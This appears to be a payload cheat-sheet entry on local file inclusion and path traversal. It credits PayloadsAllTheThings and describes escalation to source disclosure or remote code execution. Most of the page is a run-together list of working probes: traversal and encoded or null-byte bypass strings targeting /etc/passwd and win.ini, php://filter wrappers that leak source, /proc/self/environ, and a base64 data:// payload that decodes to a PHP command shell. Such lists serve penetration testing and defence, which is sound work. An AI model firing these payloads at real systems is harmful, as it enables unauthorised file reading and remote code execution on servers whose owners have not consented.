LFI / Path Traversal
Read local files, then escalate. PHP wrappers turn LFI into source disclosure or RCE (log poisoning, php://filter chains). Later entries defeat filters via encoding and traversal padding.
Tags: lfi, traversal, php-wrappers, bypass
Controlled probes
../../../../../../etc/passwd....//....//....//etc/passwd..%2f..%2f..%2fetc%2fpasswd%252e%252e%252fetc%252fpasswd/etc/passwd%00....\....\....\windows\win.iniphp://filter/convert.base64-encode/resource=index.phpphp://filter/chain|convert.base64-encode/resource=/etc/passwddata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==/proc/self/environ
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion